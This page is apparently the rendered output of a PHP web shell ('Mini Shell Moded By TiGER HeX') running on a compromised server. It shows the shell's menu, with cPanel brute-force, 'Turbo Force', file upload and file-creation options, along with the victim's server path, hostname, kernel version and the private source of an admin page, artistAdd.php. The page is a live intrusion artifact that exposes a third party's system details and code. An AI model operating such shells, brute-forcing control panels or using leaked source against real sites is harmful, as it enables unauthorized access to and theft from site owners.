Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
var
/
www
/
ridazz
/
admin
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
//var/www/ridazz/admin/artistAdd.php
<? include_once('../includes/static/configure.php'); include_once('../includes/static/util.php'); include_once('../includes/static/dbcon2.php'); include_once('../includes/static/gdimg.php'); include_once('../includes/static/sessions.php'); include_once('includes/static/util.php'); include_once('includes/appTop2.php'); $page_id = str_replace(".php","",basename($_SERVER['PHP_SELF'])); if(!has_permission($page_id)){ die("You don't have permission to view this page!"); } $html=""; $uid = 0; if(isset($_SESSION['admin_id'])){ $uid = isNum($_SESSION['admin_id'], 0); }elseif(isset($_SESSION['editor_id'])){ $uid = isNum($_SESSION['editor_id'], 0); } if( isset($_REQUEST['addArtist'])){ $artistName = $db->sanitize_input($_REQUEST['artistName']); $location = $db->sanitize_input($_REQUEST['location']); $description = $db->sanitize_input($_REQUEST['description']); $sql = "INSERT INTO 50mm_artists (artist_name,location,description,user_id,approved,entry_time) VALUES ('".$artistName."','".$location."','".$description."','$uid',1,NOW())"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $html = "<div class=\"hilite\">operation successful</div>"; } include_once('includes/header.php'); ?> When adding a new section please consider the name and topic.<BR> Adding a new ride should feature similarities in naming convention to all the previous ride names.<BR> There should be a number preceding the name so that it falls into place automatically in the gallery.<BR> In succession behind the previous rides and so forth. Adding a section such as "My Bike" is cool as long as there isnt a similar <BR>category already in the gallery.<BR><BR><BR><BR> <script> divs = new Array('artistName'); </script> <form action="<?echo $_SERVER['PHP_SELF']?>" method="POST" enctype="multipart/form-data" onSubmit="return validateForm(this,divs,'error');">Section:<span id="errartistName" class="error" style="visibility:hidden;"> *</span><br> <input class="field" name="artistName" style="width:250px;"><br> Location:<br> <input class="field" name="location" style="width:250px;"><br> Description:<br> <textarea class="body" name="description" style="width:300px;height:300px;"></textarea><br> <input name="addArtist" type="submit" class="button" value="Add Artist"> <div id="error" class="error" style="visibility:hidden;">Please correct the fields marked by *</div> </form> <?echo $html;?> <br> <? include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>